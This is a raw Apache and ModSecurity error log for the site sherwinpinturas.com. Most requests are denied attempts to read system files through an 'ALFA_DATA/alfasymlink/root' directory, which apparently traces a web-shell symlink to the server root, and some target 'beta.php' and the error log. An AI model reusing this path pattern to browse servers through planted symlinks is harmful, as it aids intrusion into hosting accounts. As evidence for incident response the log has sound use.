[Sun Oct 25 18:40:26.245405 2026] [security2:error] [pid 2914422:tid 2914422] [client 44.218.6.93:32374] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/module/"] [unique_id "at6FWlFYdRRWCEvBLGcPsQAAAAo"]
[Sun Oct 25 18:40:26.245456 2026] [security2:error] [pid 2914422:tid 2914422] [client 44.218.6.93:32374] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event0/device/subsystem/input5/device/driver/module/"] [unique_id "at6FWlFYdRRWCEvBLGcPsQAAAAo"]
[Sun Oct 25 18:40:37.699978 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 176.28.246.196:21660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/usersize
[Sun Oct 25 18:40:38.340427 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 3.215.59.93:59506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:40:39.906225 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 181.115.62.83:20956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/usersize
[Sun Oct 25 18:40:41.649691 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 216.167.186.211:60895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/usersize
[Sun Oct 25 18:40:42.263405 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 54.159.18.27:33541] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:40:57.541370 2026] [core:error] [pid 2915203:tid 2915203] (13)Permission denied: [client 79.117.199.118:51783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objects_partial
[Sun Oct 25 18:40:58.374760 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 3.220.148.166:9422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:40:59.820244 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 95.90.208.53:3526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objects_partial
[Sun Oct 25 18:40:59.820754 2026] [security2:error] [pid 2910679:tid 2910679] [client 95.90.208.53:3526] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objects_partial"] [unique_id "at6Fe9Y9M16TKcRp9n2ddwAAAAQ"]
[Sun Oct 25 18:40:59.820809 2026] [security2:error] [pid 2910679:tid 2910679] [client 95.90.208.53:3526] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objects_partial"] [unique_id "at6Fe9Y9M16TKcRp9n2ddwAAAAQ"]
[Sun Oct 25 18:41:01.665959 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 216.169.141.142:59609] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objects_partial
[Sun Oct 25 18:41:01.934601 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 191.163.50.19:61843] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/free_calls
[Sun Oct 25 18:41:02.270673 2026] [core:error] [pid 2914701:tid 2914701] (13)Permission denied: [client 44.194.139.149:16403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/dw_dmac_pci/new_id
[Sun Oct 25 18:41:04.230200 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 196.3.218.123:59558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/free_calls
[Sun Oct 25 18:41:08.211455 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 45.225.139.94:64379] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/object_size
[Sun Oct 25 18:41:09.376937 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 71.247.181.225:34904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/object_size
[Sun Oct 25 18:41:10.580149 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 18.232.36.1:44562] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:11.140815 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 45.182.170.3:25097] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/object_size
[Sun Oct 25 18:41:14.385093 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.225.45.252:55992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:22.456092 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 44.195.145.102:19444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:23.520677 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 85.208.96.207:32396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/free_calls
[Sun Oct 25 18:41:26.273648 2026] [ssl:error] [pid 2910745:tid 2910745] (70014)End of file found: [client 18.209.137.234:38586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:30.256559 2026] [ssl:error] [pid 2914701:tid 2914701] (70014)End of file found: [client 18.214.251.19:46621] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:38.558515 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 54.91.122.193:20859] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:42.292754 2026] [ssl:error] [pid 2910745:tid 2910745] (70014)End of file found: [client 184.73.68.20:19097] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:46.411266 2026] [ssl:error] [pid 2914701:tid 2914701] (70014)End of file found: [client 18.210.58.238:17564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:58.346394 2026] [ssl:error] [pid 2914701:tid 2914701] (70014)End of file found: [client 18.232.11.247:30205] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:41:58.574522 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 174.118.169.237:46070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/shrink
[Sun Oct 25 18:42:00.016879 2026] [security2:error] [pid 2914518:tid 2914518] [client 185.191.171.3:32224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/adminer/php56/upgrade.php"] [unique_id "at6Ft-sELCje-Lp0T2iibQAAAA0"]
[Sun Oct 25 18:42:00.016928 2026] [security2:error] [pid 2914518:tid 2914518] [client 185.191.171.3:32224] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/adminer/php56/upgrade.php"] [unique_id "at6Ft-sELCje-Lp0T2iibQAAAA0"]
[Sun Oct 25 18:42:01.062812 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 89.245.180.55:27276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cpu_slabs
[Sun Oct 25 18:42:03.023273 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 73.238.160.197:40365] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cpu_slabs
[Sun Oct 25 18:42:06.010866 2026] [core:error] [pid 2914701:tid 2914701] (13)Permission denied: [client 186.193.78.51:43478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/shrink
[Sun Oct 25 18:42:06.057121 2026] [core:error] [pid 2914518:tid 2914518] (13)Permission denied: [client 154.27.129.24:42644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/cpu_slabs
[Sun Oct 25 18:42:06.930328 2026] [authz_core:error] [pid 2913086:tid 2913086] [client 35.92.92.133:24115] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com/
[Sun Oct 25 18:42:09.061896 2026] [authz_core:error] [pid 2910718:tid 2910718] [client 35.90.51.190:11843] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 18:42:10.300728 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 34.234.200.207:57358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/pci-stub/unbind
[Sun Oct 25 18:42:14.452001 2026] [ssl:error] [pid 2914518:tid 2914518] (70014)End of file found: [client 52.200.54.136:13412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:42:18.300455 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 34.225.243.131:33741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:42:25.258379 2026] [core:error] [pid 2914518:tid 2914518] (13)Permission denied: [client 216.131.74.137:51646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/hwcache_align
[Sun Oct 25 18:42:26.937376 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 89.37.66.90:43440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/hwcache_align
[Sun Oct 25 18:42:28.850345 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 190.83.143.130:60464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/hwcache_align
[Sun Oct 25 18:42:34.450299 2026] [ssl:error] [pid 2915585:tid 2915585] (70014)End of file found: [client 3.94.156.104:11598] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:42:39.097711 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 34.233.114.237:61464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:42:42.290085 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 44.207.207.36:26087] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:42:49.047017 2026] [core:error] [pid 2915585:tid 2915585] (13)Permission denied: [client 185.191.171.1:47426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/slab_size
[Sun Oct 25 18:42:50.511714 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 52.54.15.103:32593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:42:58.296789 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 44.221.105.234:33304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:42:58.972078 2026] [ssl:error] [pid 2915585:tid 2915585] (70014)End of file found: [client 85.208.96.206:41210] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:43:05.462619 2026] [security2:error] [pid 2908851:tid 2908851] [client 107.172.76.131:65335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6F7Qyydx1uvQyMj1dhnQAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 18:43:05.462734 2026] [security2:error] [pid 2908851:tid 2908851] [client 107.172.76.131:65335] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6F7Qyydx1uvQyMj1dhnQAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 18:43:18.638589 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 18.215.49.176:32511] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:43:24.876296 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 189.19.186.16:43113] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/poison
[Sun Oct 25 18:43:26.745742 2026] [core:error] [pid 2915585:tid 2915585] (13)Permission denied: [client 82.5.63.90:40712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/poison
[Sun Oct 25 18:43:28.908744 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 199.127.251.97:52235] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/poison
[Sun Oct 25 18:43:28.909277 2026] [security2:error] [pid 2913030:tid 2913030] [client 199.127.251.97:52235] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/poison"] [unique_id "at6GENACfKmH39GTPJ9ilQAAAAg"]
[Sun Oct 25 18:43:28.909299 2026] [security2:error] [pid 2913030:tid 2913030] [client 199.127.251.97:52235] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/poison"] [unique_id "at6GENACfKmH39GTPJ9ilQAAAAg"]
[Sun Oct 25 18:43:29.168520 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 50.72.142.122:41960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 18:43:34.337037 2026] [ssl:error] [pid 2914701:tid 2914701] (5)Input/output error: [client 54.147.80.137:13266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:43:34.660721 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 107.3.201.136:60651] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 18:43:36.350985 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 85.208.96.193:55572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:43:37.201480 2026] [core:error] [pid 2915585:tid 2915585] (13)Permission denied: [client 45.160.72.217:41149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/remote_node_defrag_ratio
[Sun Oct 25 18:43:38.970969 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 24.11.221.87:48466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/remote_node_defrag_ratio
[Sun Oct 25 18:43:43.210582 2026] [proxy_fcgi:error] [pid 2913086:tid 2913086] [client 23.21.179.27:36767] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 18:43:44.691140 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 118.156.147.199:52857] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/remote_node_defrag_ratio
[Sun Oct 25 18:43:47.822627 2026] [core:error] [pid 2915585:tid 2915585] (13)Permission denied: [client 153.66.205.150:48989] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/sanity_checks
[Sun Oct 25 18:43:48.066835 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 186.138.179.102:58632] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/remote_node_defrag_ratio
[Sun Oct 25 18:43:50.531730 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 98.82.38.120:50775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:43:50.539070 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 112.213.203.81:28624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/sanity_checks
[Sun Oct 25 18:43:54.549509 2026] [ssl:error] [pid 2914751:tid 2914751] (70014)End of file found: [client 18.232.12.157:33489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:43:55.079041 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 187.14.55.24:37222] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/sanity_checks
[Sun Oct 25 18:43:58.707755 2026] [ssl:error] [pid 2914701:tid 2914701] (70014)End of file found: [client 44.221.227.90:22844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:44:00.727808 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 5.180.249.26:36379] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/destroy_by_rcu
[Sun Oct 25 18:44:02.761834 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 135.84.11.63:54198] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/destroy_by_rcu
[Sun Oct 25 18:44:04.783795 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 186.188.252.8:45096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/destroy_by_rcu
[Sun Oct 25 18:44:10.386324 2026] [ssl:error] [pid 2914701:tid 2914701] (70014)End of file found: [client 107.23.62.75:3088] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:44:10.442323 2026] [core:error] [pid 2914751:tid 2914751] (13)Permission denied: [client 197.153.85.164:63494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/remote_node_defrag_ratio
[Sun Oct 25 18:44:12.076198 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 185.191.171.13:28406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/tmp/IiMVJfkilH
[Sun Oct 25 18:44:12.454633 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 190.32.76.223:57486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/remote_node_defrag_ratio
[Sun Oct 25 18:44:13.535898 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 85.208.96.205:38666] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-2k/min_partial
[Sun Oct 25 18:44:14.064199 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 47.194.175.7:48073] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/remote_node_defrag_ratio
[Sun Oct 25 18:44:17.281496 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 68.80.55.139:44587] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/alloc_calls
[Sun Oct 25 18:44:18.379247 2026] [ssl:error] [pid 2910679:tid 2910679] (70014)End of file found: [client 52.44.174.136:32293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:44:26.405359 2026] [ssl:error] [pid 2915203:tid 2915203] (70014)End of file found: [client 52.71.216.196:60285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:44:27.688388 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 169.1.201.109:26256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/alloc_calls
[Sun Oct 25 18:44:27.688923 2026] [security2:error] [pid 2913030:tid 2913030] [client 169.1.201.109:26256] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/alloc_calls"] [unique_id "at6GS9ACfKmH39GTPJ9imwAAAAg"]
[Sun Oct 25 18:44:27.688947 2026] [security2:error] [pid 2913030:tid 2913030] [client 169.1.201.109:26256] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/alloc_calls"] [unique_id "at6GS9ACfKmH39GTPJ9imwAAAAg"]
[Sun Oct 25 18:44:30.681124 2026] [proxy_fcgi:error] [pid 2910718:tid 2910718] [client 54.235.125.129:60414] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 18:44:33.666241 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 85.208.96.209:24396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8/objects
[Sun Oct 25 18:44:38.601601 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 3.222.85.38:2487] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:44:45.879812 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 200.26.191.142:39800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/usersize
[Sun Oct 25 18:44:50.470656 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 54.84.102.81:41962] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:44:56.623292 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 38.224.149.197:40126] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/usersize
[Sun Oct 25 18:45:06.180499 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 38.183.114.112:24725] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/ctor
[Sun Oct 25 18:45:07.014505 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 184.170.75.84:4803] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/slabs_cpu_partial
[Sun Oct 25 18:45:10.788238 2026] [core:error] [pid 2915203:tid 2915203] (13)Permission denied: [client 105.74.9.65:18541] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/slabs_cpu_partial
[Sun Oct 25 18:45:11.885330 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 81.77.111.150:52396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/ctor
[Sun Oct 25 18:45:13.802675 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 216.48.99.154:6254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/cpu_partial
[Sun Oct 25 18:45:14.144226 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 197.202.250.199:41482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/slabs_cpu_partial
[Sun Oct 25 18:45:14.730573 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 54.86.59.155:64001] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:45:16.755624 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 41.193.133.224:35934] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/cpu_partial
[Sun Oct 25 18:45:16.889568 2026] [core:error] [pid 2914701:tid 2914701] (13)Permission denied: [client 206.83.123.233:28908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/ctor
[Sun Oct 25 18:45:18.637826 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 54.80.185.200:54851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:45:19.974985 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:65333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Gc7_lIj1OAY0C3WwdzQAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:45:19.975051 2026] [security2:error] [pid 2906066:tid 2906066] [client 107.172.76.131:65333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Gc7_lIj1OAY0C3WwdzQAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:45:26.539222 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 3.94.157.25:64635] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:45:30.506620 2026] [security2:error] [pid 2915585:tid 2915585] [client 98.82.66.172:29918] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/device:08/"] [unique_id "at6GitD4Pn-lCPXEDekkZQAAAAU"]
[Sun Oct 25 18:45:30.506664 2026] [security2:error] [pid 2915585:tid 2915585] [client 98.82.66.172:29918] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/device:08/"] [unique_id "at6GitD4Pn-lCPXEDekkZQAAAAU"]
[Sun Oct 25 18:45:44.085592 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 96.224.157.3:52327] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/store_user
[Sun Oct 25 18:45:45.409152 2026] [core:error] [pid 2915203:tid 2915203] (13)Permission denied: [client 38.87.24.196:36081] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/store_user
